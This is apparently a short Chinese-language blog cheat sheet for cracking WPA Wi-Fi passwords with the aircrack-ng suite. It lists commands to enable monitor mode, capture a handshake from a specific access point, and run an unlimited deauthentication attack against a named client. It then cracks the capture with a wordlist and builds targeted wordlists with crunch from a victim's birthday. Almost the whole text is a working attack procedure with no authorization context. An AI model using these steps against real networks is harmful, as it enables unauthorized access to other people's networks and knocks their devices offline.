aircrack-ng

Posted 2020-10-30

sudo airmon-ng

sudo airmon-ng start wlan0

sudo airodump-ng wlan0mon

sudo airodump-ng -c 1 -w Desktop/handshake0413 --bssid 50:FA:84:46:EA:C0 wlan0mon

airodump-ng -c <AP的频道> -w <抓取握手包的存放位置> --bssid <AP的MAC地址> <你的的monitor名称>

sudo aireplay-ng -0 0 -a 50:FA:84:46:EA:C0 -c 20:68:9D:1B:99:F3 wlan0mon

aireplay-ng -<攻击模式，解除认证攻击> [攻击次数，0为无限攻击] -a <AP端的MAC地址> -c <客户端端的MAC地址> <你的monitor名称>

sudo airmon-ng stop wlan0mon

sudo aircrack-ng -w Desktop/wordlist.txt Desktop/handshake0413.cap

---

用crunch来制作字典

• 安装crunch sudo apt-get install crunch
• 使用语法 crunch <min> max<max> <characterset> -t <pattern> -o <output filename>

例如，如果您知道目标的生日是0728（7月28日），并且认为他们以自己的密码包含他们生日，则可以生成一个以0728为结尾的密码列表，方法为@@@@@@@0728。 该字最多可生成11个字符（7个变量和4个固定）密码，然后全部都以0728结尾。

<min> = 最小密码长度。
<max> = 最大密码长度。
<characterset> = 用于生成密码的字符集。
<pattern> = 生成的密码的指定模式。
<outputfile> = 保存字典文件的路径。

注： pattern中可以使用的特殊标记字符(ex.3)
[%]插入数字
[@] 插入小写字母
[,] 插入大写字母
[^] 插入符号